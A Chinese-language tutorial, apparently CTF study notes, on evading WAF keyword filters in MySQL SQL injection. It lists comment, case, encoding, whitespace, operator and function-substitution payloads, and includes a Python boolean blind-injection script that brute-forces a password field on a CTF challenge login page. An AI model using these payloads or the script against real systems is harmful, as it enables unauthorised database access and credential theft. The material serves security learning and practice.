参考文章:文章
一、sql绕过过滤
解释:sql绕过过滤,通俗来说就是你注入的sql语句里面有一些关键词被WAF过滤掉了,你需要想一些办法进行绕过
1.注释
解释:下面是三种注释方法,常用的是前两种,其中在浏览器中注释一般用--+
因为+号会被自动解析为空格
-- 注释内容
# 注释内容
/*注释内容*/
1.1 内联注释
解释:有一种内联注释注入(其只存在于mysql),其相比上面的注入更常用,其是/*注释内容*/
的变体,标准格式为/*!代码*/
SELECT * /*!from*/ emails;
上面的语句等价于SELECT * from emails;
SELECT * FROM emails WHERE email_id=5 UNION /*!select*/ 1,2;
上面的语句等价于SELECT * FROM emails WHERE email_id=5 UNION select 1,2;
2.大小写过滤
适用情况:当WAF将如select
过滤掉,我们使用SELECT
也可能成功绕过WAF的过滤实现注入
3.双写绕过
适用情况:WAF会进行匹配关键词如select
,如果匹配成功就进行将关键词删除,我们可以构造selselectect
这样这个单词中间的select
剩余字母就又拼接成select
从而实现注入(这种情况适合条件很苛刻)
4.逗号绕过
适用情况:有的题目不能输入逗号,输入就会过滤
union select 1,2
等价于:union select * from (select 1) a join (select 2) b
4. from绕过
适用情况:输入from
之后就会没有返回信息,或者出现其它异常的情况,其就是from处于黑名单,此时要绕过
// 此种方法通常要配合python的暴力破解,下面有脚本(通常还需要配合布尔注入)
select * from user where passwd like 'a%'
import requests
class BoolCrash:
def __init__(self, url, subject):
self.subject = subject
self.url = url
self.list = list('0123456789abcdefghijklmnopqrstuvwxyz')
self.empty = ''
def run(self):
while True:
for i in self.list:
# 下面3行需要自行构造
sql_payloads = f"1' OR p3ss_w0rd like '{self.empty + i}%' #"
params = {'username': sql_payloads, 'password': '1'}
response = requests.post(url=self.url, data=params)
response = response.text
# 布尔注入判断的条件
if self.subject in response:
self.empty = self.empty + i
break
# 当下一个内容不再出现在列表里面时,代表下一个内容为其它内容或为空,循环结束
else:
print('当前碰撞结束,结果可能因为list内容的局限而失败')
break
print(self.empty)
BoolCrash('http://eci-2ze9oa2p12vc9plzmnyh.cloudeci1.ichunqiu.com/Challenges/login.php','密码错误').run()
4.编码绕过
适用情况:对例子一般where name=xxxx
对于xxxx
可以转换为编码进行绕过
4.1 十六进制编码
SELECT * FROM emails WHERE email_id=0x737475706964406468616b6b616e2e6c6f63616c;
-- 上面表示查询email_id=stupid@dhakkan.local的信息,其中注意,16进制编码需要0x开头
-- 后面跟字符串对应的16进制编码
4.2 ASCII编码
SELECT * FROM emails WHERE email_id=CHAR(115, 116, 117, 112, 105, 100, 64, 100, 104, 97, 107, 107, 97, 110, 46, 108, 111, 99, 97, 108);
-- 上面表示查询email_id=stupid@dhakkan.local的信息
-- 可以用hackbar的SQL MYSQL-CHAR快速编写出类似格式的内容
5.空格绕过
5.1 /**/
SELECT/**/*/**/FROM/**/course;
等价于
SELECT * FROM course;
5.2 ()
-- ()括号内不能写*
-- 括号包裹的内容一般不能是select from where这种关键词
SELECT(Cno)FROM(course);
等价于
SELECT Cno FROM course;
5.3 回车
SELECT
Cno
FROM
course;
-- 通过回车就能实现没有输入空格就实现SQL注入
-- 回车的URL编码%0a(在浏览器栏输入时适用)
5.4 `
-- 注意`是反引号并非'单引号
-- 反引号包裹的内容一般不能是select from where这种关键词
SELECT`Cno`FROM`course`;
5.5 Tab
-- Tab类似于输入空格但其同空格并不相同
-- Tab的URL编码%09(在浏览器栏输入时适用)
SELECT Cno FROM course;
6.同义过滤
1. 普通同义
and 同义 &&
or 同义 ||
xor 同义 |
not 同义 !
= 同义 like regexp rlike
!= 同义 <>
' 同义 十六进制
SELECT Cno FROM course WHERE Cno=1 && Cpno=5;
SELECT Cno FROM course WHERE Cno=1 || Cpno=5;
SELECT Cno FROM course WHERE Cno=1 | Cpno=5;
SELECT Cno FROM course WHERE Cno!=1;
SELECT Cno FROM course WHERE Cno like 1;
SELECT Cno FROM course WHERE Cno<>1;
2. 函数同义
2.1 >或<(greatest、least)
>或< 等价于 greatest(n1, n2, n3…) least(n1, n2, n3…)
-- greatest返回参数当中的最大值,这就类似于适用大于小于号的效果
-- least返回参数当中的最小值,这就类似于适用大于小于号的效果
SELECT * FROM course WHERE Cno=9 AND GREATEST(ASCII(SUBSTR(Cname,1,1)),1)=106;
2.2 =(strcmp、between)
= 等价于 strcmp(s1, s2)
= 等价于 between ... and ...
-- strcmp用来对比s1与s2两个字符串,当s1与s2完全相同时返回0
SELECT * FROM course WHERE Cno=9 AND STRCMP('1','1')=0;
SELECT * FROM course WHERE Cno=9 AND SUBSTR(Cname,1,1) BETWEEN 'j' AND 'j'; -- 查看Cname中第一个字符是不是等于'j'
2.3 逗号
-- 适用于类似substr函数(sql盲注时使用)
SELECT * FROM course WHERE Cno=9 AND SUBSTR(Cname,1,1) BETWEEN 'j' AND 'j';
等价于
SELECT * FROM course WHERE Cno=9 AND SUBSTR(Cname FROM 1 FOR 1) BETWEEN 'j' AND 'j';
-- 适用于并列条件时(联合注入)
SELECT * FROM course WHERE Cno=9 UNION SELECT 1,2,3,4;
等价于
SELECT * FROM course WHERE Cno=9 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d;
-- 适用于使用limit时
SELECT * FROM course LIMIT 0,2;
等价于
SELECT * FROM course LIMIT 2 OFFSET 0;
7.函数过滤
解释:指某些函数被过滤之后用同义函数去替代
7.1 sleep()
替代函数:benchmark()
SELECT 1 AND SLEEP(1);
SELECT 1 AND BENCHMARK(1000000000,1);
MySQL有一个内置的BENCHMARK()函数,可以测试某些特定操作的执行速度。 参数可以是需要执行的次数和表达式。第一个参数是执行次数,第二个执行的表达式
7.2 ascii()
替代函数:hex()
、bin()
、conv()
替代函数:ord()
SELECT * FROM course WHERE Cno=9 AND ASCII(SUBSTR(Cname,1,1))=106;
等价于
SELECT * FROM course WHERE Cno=9 AND CONV(HEX(SUBSTR(Cname,1,1)),16,10)=106;
-- CONV('FF', 16, 10); 将’FF‘从16进制转换为10进制
SELECT ORD('a'); -- ord 只是在处理中文的时候同ascii有区别
SELECT ASCII('a');
7.3 group_concat()
替代函数:concat_ws()
SELECT GROUP_CONCAT(1,2,3); -- 123
SELECT CONCAT_WS(',',1,2,3); -- 1,2,3
7.4 substr()
替代函数:substring
()mid()
left()
right()
SELECT SUBSTR('abcdef',1,2); -- ab
SELECT SUBSTRING('abcdef',1,2);-- ab
SELECT MID('abcdef',1,2);-- ab
SELECT LEFT('abcdef',2);-- ab
SELECT RIGHT('abcdef',2);-- ef
8.特殊符号
例子1:
SELECT+Cno-1+1.from course;
等价于
SELECT Cno FROM course;
-- +是用于字符串连接的,‛-‛和‛.‛ 在此也用于连接,可以逃过空格和关键字过滤
9.关键词
select insert update delete
替代此时考虑是否存在堆叠注入
-- 查数据库 show database;
-- 查表 show tables;
-- 查列 show columns from table;